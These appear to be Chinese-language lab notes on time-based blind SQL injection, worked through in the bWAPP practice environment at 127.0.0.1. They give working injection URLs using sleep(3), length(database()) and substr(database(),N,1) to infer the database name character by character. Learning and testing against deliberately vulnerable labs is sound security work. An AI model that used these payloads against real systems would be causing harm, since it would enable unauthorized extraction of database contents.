运用场景:没有直接返回场景。用返回的时间来判断。
原理:语句为select * from test where id ='4'
改为select * from test where id ='4' and sleep(3) --
and语句第一个条件为真,就会执行第二个条件。所以返回过了3秒,说明第一个条件为真。
而and语句第一个条件为假,就会立即返回。
===============================
打开bwapp环境:
选择SQL Injection - Blind - Time-Based。
完全不显示我们选择的结果。
http://127.0.0.1/sqli_15.php?title=1&action=Search
没有任何报错,看不出来有无漏洞注入。
尝试时间盲注。
在firefox里,用f12启动hackbar,尝试:
http://127.0.0.1/sqli_15.php?title=1' or sleep(3)-- &action=search
发现有时间盲注漏洞。
http://127.0.0.1/sqli_15.php?title=World War Z' and sleep(3)-- &action=search
使用一个真正有的电影来查询。
尝试利用漏洞获取信息。分别使用3/4/5尝试,在长度等于5的时候,返回需要3秒。因此确认数据库名称长度为5.
http://127.0.0.1/sqli_15.php?title=World War Z' and length(database())=5 and sleep(3)-- &action=search
分别使用a、b尝试。在字符为b的时候,返回需要3秒。确认数据库名称第一个字符是b。
http://127.0.0.1/sqli_15.php?title=World War Z' and substr(database(),1,1)='b' and sleep(3)-- &action=search
继续尝试第二个字符......
http://127.0.0.1/sqli_15.php?title=World War Z' and substr(database(),2,1)='a' and sleep(3)-- &action=search
下一步使用程序。